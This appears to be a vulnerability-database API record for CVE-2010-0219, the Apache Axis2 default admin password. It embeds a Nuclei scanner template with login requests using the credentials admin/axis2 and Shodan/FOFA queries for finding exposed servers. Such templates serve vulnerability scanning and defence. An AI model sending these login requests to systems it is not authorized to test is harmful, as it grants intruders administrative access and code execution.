{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2010-0219/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2010-0219/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2010-0219/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2010-0219/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2010-0219/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2010-0219/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2010-0219"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2010-0219"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.90851,"kev":false,"percentile":0.99805},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2010/CVE-2010-0219.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2010-0219\n\ninfo:\n  name: Apache Axis2 Default Login\n  author: pikpikcu\n  severity: critical\n  description: Apache Axis2, as used in dswsbobje.war in SAP BusinessObjects Enterprise XI 3.2, CA ARCserve D2D r15, and other products, has a default password of axis2 for the admin account, which makes it easier for remote attackers to execute arbitrary code by uploading a crafted web service.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or the ability to modify or delete data.\n  remediation: |\n    Disable or restrict access to the Axis2 web interface, or apply the necessary patches or updates provided by the vendor.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2010-0219\n    - https://knowledge.broadcom.com/external/article/13994/vulnerability-axis2-default-administrato.html\n    - http://www.rapid7.com/security-center/advisories/R7-0037.jsp\n    - http://www.vupen.com/english/advisories/2010/2673\n    - http://retrogod.altervista.org/9sg_ca_d2d.html\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C\n    cvss-score: 10\n    cve-id: CVE-2010-0219\n    cwe-id: CWE-255\n    epss-score: 0.90851\n    epss-percentile: 0.99807\n    cpe: cpe:2.3:a:apache:axis2:1.3:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: apache\n    product: axis2\n    shodan-query:\n      - http.html:\"Apache Axis\"\n      - http.html:\"apache axis\"\n    fofa-query: body=\"apache axis\"\n  tags: cve,cve2010,axis,apache,default-login,axis2,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /axis2-admin/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        loginUsername={{username}}&loginPassword={{password}}\n      - |\n        POST /axis2/axis2-admin/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        userName={{username}}&password={{password}}&submit=+Login+\n\n    payloads:\n      username:\n        - admin\n      password:\n        - axis2\n    attack: pitchfork\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"<h1>Welcome to Axis2 Web Admin Module !!</h1>\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f85bf99255959fb6073a5e91bffe44cd99bda036660d2b1337263776d385076802202b53f49e6adc8efd376e3e14f5ca2a8f97de8b0a3a0fad19320cd6574c8cd7d2:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2010-0219"}